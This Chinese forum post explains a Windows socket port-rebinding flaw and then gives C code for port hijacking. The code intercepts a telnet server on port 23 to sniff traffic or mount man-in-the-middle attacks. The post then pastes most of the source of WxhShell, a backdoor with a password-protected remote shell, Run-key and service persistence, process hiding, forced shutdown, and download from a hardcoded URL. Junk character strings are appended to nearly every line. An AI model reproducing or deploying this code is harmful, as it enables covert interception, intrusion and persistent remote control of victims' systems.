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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: X72X:"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8J(zWV7 r  
s$y#Ufz  
  saddr.sin_family = AF_INET; !{ )AV/\D  
arH\QPaka'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1R~WY'Ed  
r#Oz0=0u  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); r#w_=h)  
T|iF/p]F  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \iE9&3Ie  
WatLAn+  
  这意味着什么?意味着可以进行如下的攻击: EYD{8Fw-  
^E?V+3mV  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 U\GZ  
Oqe.t;E 0}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Ewsg&CCN  
DczF0Ow  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \osQwGPV  
m-FDCiN>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4W-+k  
Ck a]F2,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,%G2>PBt  
x{o5Ha{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 g-gBg\y{v  
~TR|Pv  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |VEAzY|[#  
g*imswj7  
  #include xVX||rrh  
  #include =9@yJ9c-  
  #include  y, _3Ks  
  #include    JJ3JULL2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   a-2 {x2O  
  int main() y%l#lz=6  
  { !#s7 F  
  WORD wVersionRequested; n k3lC/f  
  DWORD ret; |^{" 2l"j  
  WSADATA wsaData; YEoT_>A$dB  
  BOOL val; ]7 mSM  
  SOCKADDR_IN saddr; wo9f99  
  SOCKADDR_IN scaddr; )#Bfd(F  
  int err; &bK$!8Z  
  SOCKET s; DA@hf  
  SOCKET sc; )Dpt<}}\  
  int caddsize; ZU'^%)6~o~  
  HANDLE mt; eakIK+-21y  
  DWORD tid;   4ux5G`oL  
  wVersionRequested = MAKEWORD( 2, 2 ); ebK wCZwK*  
  err = WSAStartup( wVersionRequested, &wsaData ); TBT*j&!L  
  if ( err != 0 ) { Q kpmPQK  
  printf("error!WSAStartup failed!\n"); Khd,|pM  
  return -1; UH|.@7w  
  } t+q`h3  
  saddr.sin_family = AF_INET; @!O{>`  
   X0TGJ,yW(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 P?7b,a95O  
=upP3rw  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U# B  
  saddr.sin_port = htons(23); %;?3A#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1 to<at-NN  
  { !2Iwur u  
  printf("error!socket failed!\n"); ;mlIWn  
  return -1; ^SCWT\E  
  } ^4NH.q{  
  val = TRUE; pjM|}i<'Q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #::vMnT  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0VPa;{i/  
  { "ukbqdKD  
  printf("error!setsockopt failed!\n"); DL_\luh  
  return -1; MEUqQ4/Gl  
  } 0n=E.qZ9c  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zt0 zKXw  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 it vdzPO  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [_@OCiV5)  
_AHVMsz@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `_i-BdW  
  { k 3XtKPO  
  ret=GetLastError(); t57b)5{FM  
  printf("error!bind failed!\n"); :g";p.~=  
  return -1; tEs$+b  
  } q4= RE  
  listen(s,2); +dv@N3GV  
  while(1) 0f1#T gX  
  { h6t>yC\  
  caddsize = sizeof(scaddr); a06DeRCej  
  //接受连接请求 9n7d "XD2  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Qrh9JFqdG6  
  if(sc!=INVALID_SOCKET) i|mA/ e3b  
  { _T$\$v$ {  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); X;NTz75  
  if(mt==NULL) D6WsEd>  
  { Y)`+u#` R  
  printf("Thread Creat Failed!\n"); lOui{QU  
  break; kn\>ZgU  
  } :83" t-O8[  
  } M&dtXG8<^  
  CloseHandle(mt); s-B\8&^C  
  } U|nk8 6r  
  closesocket(s); Y<v55m-  
  WSACleanup(); f/ZE_MN2  
  return 0; 0"N %Vm  
  }   [6|vx},N  
  DWORD WINAPI ClientThread(LPVOID lpParam) d,)L,J  
  { $BY{:#a]  
  SOCKET ss = (SOCKET)lpParam; _c2#  
  SOCKET sc; nq=fSK(  
  unsigned char buf[4096]; !MC W t  
  SOCKADDR_IN saddr; Gf?KpU  
  long num; ZE^de(Fm  
  DWORD val; zjmc>++<t  
  DWORD ret; v|GvN|_|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 sq_:U_tJ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   j4h 7q<  
  saddr.sin_family = AF_INET; |zMQe}R@%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); O 2U/zF:X  
  saddr.sin_port = htons(23); l- l}xBf  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CS/-:>s%  
  { E !8y|_(j  
  printf("error!socket failed!\n"); Mw~ ?@Sq  
  return -1; S,H{\c  
  } ~&x%;cnv_  
  val = 100; m"*:XfOL  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) oZ}e w!V  
  { TO.NCO\x  
  ret = GetLastError(); fh~&&f}6  
  return -1; II91Ia  
  } 1 f=L8Dr  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jK=[   
  { uMI2Wnnc:/  
  ret = GetLastError(); yS*PS='P  
  return -1; _W;u Qg']  
  } /dfZ>k8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Xk2  75Y  
  { ' |Oi#S  
  printf("error!socket connect failed!\n"); j- A|\:   
  closesocket(sc); V/Q6v YX  
  closesocket(ss); (]1 %s?ud*  
  return -1; *%O1d.,  
  } N(9'U0z  
  while(1) 9hv\%_>o  
  { *=v RX!sI,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 R8 m/N t2  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 L4NC -  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 d|TIrlA  
  num = recv(ss,buf,4096,0); cZu:dwE  
  if(num>0) $\bH 5|Hk]  
  send(sc,buf,num,0); h %nZKhm  
  else if(num==0) G2Apm`/ y  
  break; +|.#<]GA  
  num = recv(sc,buf,4096,0); p k/#+r;  
  if(num>0) 8[DD=[&  
  send(ss,buf,num,0); t~AesHZpk  
  else if(num==0) ={fi&j  
  break; #U1soZ7  
  } eE&F1|8  
  closesocket(ss); s#Le`pGoW  
  closesocket(sc); Xm*Dh#H  
  return 0 ; ;'h7 j*6  
  }  u(BYRB  
1t)6wk N  
{[$p}#7Y  
========================================================== E`i;9e'S  
L]p:gI{m  
下边附上一个代码,,WXhSHELL u4S3NLG)  
`jV0;sPd;  
========================================================== %pMW5]H  
+`[$w<I  
#include "stdafx.h" `S!`=26Z!  
';1 c  
#include <stdio.h> 34oC285yc  
#include <string.h> MVdE7P  
#include <windows.h> ^Dh2_vbI  
#include <winsock2.h> y,%w`  
#include <winsvc.h> |6&"r&  
#include <urlmon.h>  hP7nt  
b*bR<|dTj  
#pragma comment (lib, "Ws2_32.lib") ^=tyf&"  
#pragma comment (lib, "urlmon.lib") 1D*e u  
|sI^_RdBv  
#define MAX_USER   100 // 最大客户端连接数 kh`X92~  
#define BUF_SOCK   200 // sock buffer b~\![HoCMM  
#define KEY_BUFF   255 // 输入 buffer o$Jk2 7  
C6Kz6_DQZ  
#define REBOOT     0   // 重启 i}q6^;uTF  
#define SHUTDOWN   1   // 关机 Db2G)63  
@ O%m,  
#define DEF_PORT   5000 // 监听端口 P[Qr[74 )  
] $%{nj<  
#define REG_LEN     16   // 注册表键长度 *fjarZu  
#define SVC_LEN     80   // NT服务名长度 EqOB 0\  
#a/lt^}C*  
// 从dll定义API s6qe5[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &AoWT:Ea  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); YKk%lZ.8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ncWASw`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $H_4Y-xOi  
s&c^Wr  
// wxhshell配置信息 ~M <4HC  
struct WSCFG { atPf527\`  
  int ws_port;         // 监听端口 w| >Y&/IX  
  char ws_passstr[REG_LEN]; // 口令 -,Q<*)q{  
  int ws_autoins;       // 安装标记, 1=yes 0=no yLI=&7/e@  
  char ws_regname[REG_LEN]; // 注册表键名 %.Mtn%:I *  
  char ws_svcname[REG_LEN]; // 服务名 A^g81s.5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >(\[$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xE+Go  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X.JB&~/rO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [t ^|l?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C@KYg/nYw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S?D2`b  
0V1kZ.  
};  u0i @.  
;7qk9rz4  
// default Wxhshell configuration }p "HD R>  
struct WSCFG wscfg={DEF_PORT, _msDf2e9  
    "xuhuanlingzhe", 8fdOV&&D~i  
    1, {Q4=GrS  
    "Wxhshell", 2y,~i;;_  
    "Wxhshell", vnIxI a  
            "WxhShell Service", 71f]KalqL  
    "Wrsky Windows CmdShell Service", X5)>yM^N`  
    "Please Input Your Password: ", n+xM))  
  1, ]ImS@!Ajjx  
  "http://www.wrsky.com/wxhshell.exe", J@1(2%)|Z  
  "Wxhshell.exe" $'e.bh  
    }; !rrjA$P<v  
"ebn0<cZ  
// 消息定义模块 c5U1N&k5&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s2v\R~T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G-rN?R.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c-gaK\u}j}  
char *msg_ws_ext="\n\rExit."; `7'(U)x,F  
char *msg_ws_end="\n\rQuit."; ~-.q<8  
char *msg_ws_boot="\n\rReboot..."; {9P<G]Z  
char *msg_ws_poff="\n\rShutdown..."; 1tg   
char *msg_ws_down="\n\rSave to "; .%D] z{''  
6g$+))g  
char *msg_ws_err="\n\rErr!"; _Hkc<j/e~  
char *msg_ws_ok="\n\rOK!"; +y-:(aP  
LZ^sc  
char ExeFile[MAX_PATH]; p%j@2U  
int nUser = 0; ^QXUiXzl  
HANDLE handles[MAX_USER]; =niU6Q}  
int OsIsNt; Oi7:J> [  
3`-[95w  
SERVICE_STATUS       serviceStatus; hWuq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; '\ 6.GP  
;9b?[G  
// 函数声明 pQW^lqwZ:6  
int Install(void); 6:QJ@j\  
int Uninstall(void); MJ>(HJY6?%  
int DownloadFile(char *sURL, SOCKET wsh); 4?8GK  
int Boot(int flag); k%uRG_  
void HideProc(void); ,![C8il,  
int GetOsVer(void); VRMlr.T +  
int Wxhshell(SOCKET wsl); 'O2{0  
void TalkWithClient(void *cs); LgB}!OLQ  
int CmdShell(SOCKET sock); a'Aru^el  
int StartFromService(void); e3',? 5j  
int StartWxhshell(LPSTR lpCmdLine); k98--kc5  
W5sVQ`S-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hZ$* sf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); MQp1j:CK  
vChkSY([  
// 数据结构和表定义 aiUn bP  
SERVICE_TABLE_ENTRY DispatchTable[] = VSM%<-iQ  
{ ijC;"j/(  
{wscfg.ws_svcname, NTServiceMain}, 4}96|2L5  
{NULL, NULL} R?^FO:nM%!  
}; ?c(f6p?%  
"PnYa)?1  
// 自我安装 8+ `cv"  
int Install(void) EYMwg_  
{ Cf8(J k`v|  
  char svExeFile[MAX_PATH]; $eI[3{}X  
  HKEY key; .LV=Z0ja  
  strcpy(svExeFile,ExeFile); ]uj H7T  
W._vikR  
// 如果是win9x系统,修改注册表设为自启动 *}3~8fu{  
if(!OsIsNt) { %`%1W MO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?T?%x(]I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <K|_M)/9  
  RegCloseKey(key); ^> ZQ:xs@(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &V iIxJZ1$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;LthdY()n(  
  RegCloseKey(key); (#7pGGp*E  
  return 0; z_r W1?|  
    } =yfr{5}R  
  } ;I]TM#qGF  
} <S TwylL  
else { Yb414K  
u=k\]W-  
// 如果是NT以上系统,安装为系统服务 QMHeU>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o y}(  
if (schSCManager!=0) Vs\ )w>JF  
{ r'w5i1C+  
  SC_HANDLE schService = CreateService $;"@;Lj%,  
  ( kRZ(  
  schSCManager, U#@:"v|  
  wscfg.ws_svcname, H~@aT7  
  wscfg.ws_svcdisp, u[fQvdl  
  SERVICE_ALL_ACCESS, $Iv*?S"2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @q[-,EA9  
  SERVICE_AUTO_START, j^986  
  SERVICE_ERROR_NORMAL, R0-ARq#0<  
  svExeFile, >PL/>   
  NULL, _/ P"ulNb  
  NULL, Ff%m.A8d,4  
  NULL, li,kW`j+t  
  NULL, OjyS ?YY)b  
  NULL @DY0Lz;  
  ); >p2v"XX  
  if (schService!=0) UyTq(7uo  
  {  ,Ad\!  
  CloseServiceHandle(schService); ]^ZC^z;H  
  CloseServiceHandle(schSCManager); 3J%jD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Qt]nlui~  
  strcat(svExeFile,wscfg.ws_svcname); &!KJrQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8I NVn'G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C'*1w  
  RegCloseKey(key); z&cfFx#h)  
  return 0; 7A3e-51 >  
    } I`DdhMi7  
  } ,7 >_Lp_v  
  CloseServiceHandle(schSCManager); 2zArAch  
} FSc7 30rM  
} ^ chlAQz(  
$5%tGFh  
return 1; + +D(P=4hi  
} C @hnT<e  
ww+XE2,  
// 自我卸载 .Uha%~%  
int Uninstall(void) t~,!a?S7  
{ -}PD0Pzg;=  
  HKEY key; ] M_[*OAb  
j$N`JiKM  
if(!OsIsNt) { 93[`1_q7\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o6Vc}jRH  
  RegDeleteValue(key,wscfg.ws_regname); @*A(#U8p3  
  RegCloseKey(key); )x?F1/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V u;tU.  
  RegDeleteValue(key,wscfg.ws_regname); v\$XhOK  
  RegCloseKey(key); ikyvst>O  
  return 0; k<8:  
  } %+>I1G  
} {3 zq.e{  
} AP/tBC eM  
else { J cvK]x  
yd`.Rb&V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); > YN<~z-  
if (schSCManager!=0) 8%vk"h:u:  
{ ?Za1  b  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yBs  
  if (schService!=0) Kax85)9u  
  { Z78&IbR  
  if(DeleteService(schService)!=0) { c_HYB/'  
  CloseServiceHandle(schService); 8~}Ti*Urc  
  CloseServiceHandle(schSCManager); rw8db'  
  return 0; _oe2 pL&  
  } 0'RSl~QvqS  
  CloseServiceHandle(schService); V&)-u(s_S/  
  } xqM R[W\x  
  CloseServiceHandle(schSCManager); vIz~B2%x  
} YI&^j2  
} 2Hy$SSH  
\CU.'|X  
return 1; xjv?Z"X  
} 2l8jw:=H  
TpZ)v.w~l7  
// 从指定url下载文件 0'VwObq  
int DownloadFile(char *sURL, SOCKET wsh) !63x^# kg  
{ e @=Bl-  
  HRESULT hr; NWb,$/7T  
char seps[]= "/"; >qAQNX  
char *token; mhT3Fwc  
char *file; * J~N  
char myURL[MAX_PATH]; .* V ZY  
char myFILE[MAX_PATH]; v:s~Y  
</qXKEu`_  
strcpy(myURL,sURL); ~{RXc+  
  token=strtok(myURL,seps); e"[o2=v;5  
  while(token!=NULL) =#n|t[h-  
  { u@[D*c1!H  
    file=token; om;jXf}A  
  token=strtok(NULL,seps); >k kuw?O@  
  } C+*: lLY  
%k5^n0|*  
GetCurrentDirectory(MAX_PATH,myFILE); mqw& SxU9  
strcat(myFILE, "\\"); V. \do"m  
strcat(myFILE, file); Xxp<qIEm  
  send(wsh,myFILE,strlen(myFILE),0); to]1QjW-  
send(wsh,"...",3,0); ` *h-j/M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w*\)]bTs  
  if(hr==S_OK) |V%Qp5 XJ  
return 0; I tp7X  
else 4^  $  
return 1; MU%C_d%.  
N1+%[Uh9)  
} L%U-MOS=  
W@JmG`Sy  
// 系统电源模块 |*i0h`a  
int Boot(int flag) $iupzVrro  
{ vfcj,1  
  HANDLE hToken; Nt'(JAZ;  
  TOKEN_PRIVILEGES tkp; Q V4{=1A  
yzgDdAM  
  if(OsIsNt) { d%u|) =7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y!Wz7 C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &0*j nb  
    tkp.PrivilegeCount = 1; ?b:l.0m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mp+ %@n.;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d^!)',`  
if(flag==REBOOT) { L6J=m#Ld  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T&fqn!i  
  return 0; Ca0~K42~  
} T B1E1  
else { OB>Pk_eQK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gle_~es'K  
  return 0; q1.w8$  
} R'uM7,7  
  } .FtW $Y~y  
  else { B9&"/tT  
if(flag==REBOOT) { fnN"a Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wFnIM2a,  
  return 0; :1PT`:Y  
} \|L ~#{a  
else { ^} %Oq P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `lRZQ:27X  
  return 0; /608P:U  
} ts<5%{M(  
} _%?}e|epy  
=EA*h_"q9  
return 1; UpF,e>s  
} j,Eo/f+j5  
1(CpTaa  
// win9x进程隐藏模块 `b=?z%LuT  
void HideProc(void) BA4qQCS;5  
{ /59jkcA+  
WZOi,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !_3R dS  
  if ( hKernel != NULL ) rwWs\~.H  
  { ODyK/Q3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R^.E";/h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UA>UW!I  
    FreeLibrary(hKernel); ,_,Z<X/  
  } (C dx7v2Nh  
%5?qS`/c(  
return; l}:&}  
} 5(W`{{AW  
Rf||(KC<  
// 获取操作系统版本 J!b v17H"  
int GetOsVer(void) _WO*N9Iz  
{ 9*pH[vH  
  OSVERSIONINFO winfo; >k)}R|tJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); JKN0:/t7 Q  
  GetVersionEx(&winfo); %C^U?m`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) TUuw  
  return 1; gVO<W.?  
  else -'ePx f  
  return 0; A Ch!D>C1  
} ?:73O`sX:  
XUTI0  
// 客户端句柄模块 iPgewjx  
int Wxhshell(SOCKET wsl) Y7g^ ?6  
{ )!M %clm.  
  SOCKET wsh; =m]|C1x  
  struct sockaddr_in client; I-<U u 2  
  DWORD myID; d~ n|F|`:  
fn(< <FA)  
  while(nUser<MAX_USER) /D2 cY>  
{ jYE<d&Cq  
  int nSize=sizeof(client); v0W w~4|],  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *-0tj~)>  
  if(wsh==INVALID_SOCKET) return 1; 6vy(@z  
6%?bl{pNn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); - "`5r6  
if(handles[nUser]==0) iG*@(  
  closesocket(wsh); BSU%.tmI  
else Vm\ly;v'R  
  nUser++; =*<Cw?Gc  
  } r: Ij\YQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t6m&+N  
K`}8fU   
  return 0; A9qbE  
} =LLix . >  
3 ,;;C(  
// 关闭 socket $hv o^$  
void CloseIt(SOCKET wsh) ]rk8Jsg  
{ =@BVO @z@  
closesocket(wsh); 2L?jp:$;X  
nUser--; oZVq }}R  
ExitThread(0); a@+n  
} pYXusS7S  
Qy< ~{6V  
// 客户端请求句柄 H$G`e'`OZ  
void TalkWithClient(void *cs) fSR+~Vy  
{ ^xz*%2@  
 NW$_w  
  SOCKET wsh=(SOCKET)cs; aS2Mx~  
  char pwd[SVC_LEN]; 6yU#;|6d  
  char cmd[KEY_BUFF]; ,e]|[,r#5  
char chr[1]; -l)u`f^n|  
int i,j; Eu;f~ V  
0Z{;sW  
  while (nUser < MAX_USER) { W.67};',  
YC,)t71l{  
if(wscfg.ws_passstr) { Obj?,O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p1}m_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >v\t> [9t  
  //ZeroMemory(pwd,KEY_BUFF); /^Ckk  
      i=0; L_ &`  
  while(i<SVC_LEN) { yDl{18~zv  
S8_>Lw  
  // 设置超时 coG_bX?e  
  fd_set FdRead; '=eG[#gy  
  struct timeval TimeOut; ]; CTr0  
  FD_ZERO(&FdRead); IXA3G7$)  
  FD_SET(wsh,&FdRead); )c;zNs  
  TimeOut.tv_sec=8; >^odV ;^  
  TimeOut.tv_usec=0; 1ha 8)L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #.KVT#%~{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B_ x?s  
N?Nu'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Tl/!Dn  
  pwd=chr[0]; EklcnM|6  
  if(chr[0]==0xd || chr[0]==0xa) { vGIe"$hNh  
  pwd=0; z yh #ygH  
  break; L9"yQD^R7?  
  } 4lCEzWo[/  
  i++; D~^P}_e.  
    } PKxI09B  
j92X"yB  
  // 如果是非法用户,关闭 socket O3*}L2 j@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @,\J\ rb  
} ;"R1>tw3)  
O_S%PX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $yoIz.?V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kM JA#{<  
:svKE.7{  
while(1) { -u nK;  
!yQ%^g`  
  ZeroMemory(cmd,KEY_BUFF); m|by^40A(  
>;NiG)Z  
      // 自动支持客户端 telnet标准   wRj||yay#-  
  j=0; .Xm?tC<   
  while(j<KEY_BUFF) { l'Kx#y$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L8{4>,  
  cmd[j]=chr[0]; X{BS]   
  if(chr[0]==0xa || chr[0]==0xd) { %s;=H)8  
  cmd[j]=0; oQ{ X2\  
  break; ]IM/R@  
  } Vm8rQFCp74  
  j++; k>V~ iA  
    } ]ME2V  
12 TX_0  
  // 下载文件 W2T-TI,>PC  
  if(strstr(cmd,"http://")) { ']__V[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); t wr-+rm2  
  if(DownloadFile(cmd,wsh)) a)qlrtCl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )/FEjo  
  else d&owS+B{48  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M/5+AsT  
  } m2j]wUh"  
  else { 6-t:eo9  
`#c36  
    switch(cmd[0]) { Bgf'Hm% r  
  i$jzn ga  
  // 帮助 >ca w :  
  case '?': { 9lR-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j G^f_w  
    break; E06)&tF  
  } ZQI;b0C  
  // 安装 r-'CB  
  case 'i': { Lz:Q6  
    if(Install()) r=cm(AHF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 557%^)v  
    else #8CeTR23cw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k* e $_  
    break; =EQaZ8k  
    } %uQOAe55  
  // 卸载 /`+ubFXc  
  case 'r': { *Q!I^]CR  
    if(Uninstall()) xO 6$:o-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rGgP9 (  
    else T;1aL4w"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3\Tqs  
    break; #VU>Z|$@N  
    } |,lw$k93  
  // 显示 wxhshell 所在路径 6 vr8rJ-  
  case 'p': {  BRF4 p:  
    char svExeFile[MAX_PATH]; ()ZP =\L  
    strcpy(svExeFile,"\n\r"); 0kxe5*-|  
      strcat(svExeFile,ExeFile); N+CcWs!E  
        send(wsh,svExeFile,strlen(svExeFile),0); 01">$  
    break; w1:%P36H  
    } ^<`uyY))Q  
  // 重启 HbMD5(  
  case 'b': { kB]?95>Wx  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -/LB-t  
    if(Boot(REBOOT)) %~EOq\&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dz,4);Mg  
    else { A(T=  
    closesocket(wsh); ~zc B@; :  
    ExitThread(0);  E-L>.tD  
    } ofy)}/i  
    break; oA`G\Xh_E  
    } +x)x&;B)/  
  // 关机 M|IgG:a;T  
  case 'd': { GN=-dLN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .s`7n *xz  
    if(Boot(SHUTDOWN))  G4{TJ,~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k56*eEc  
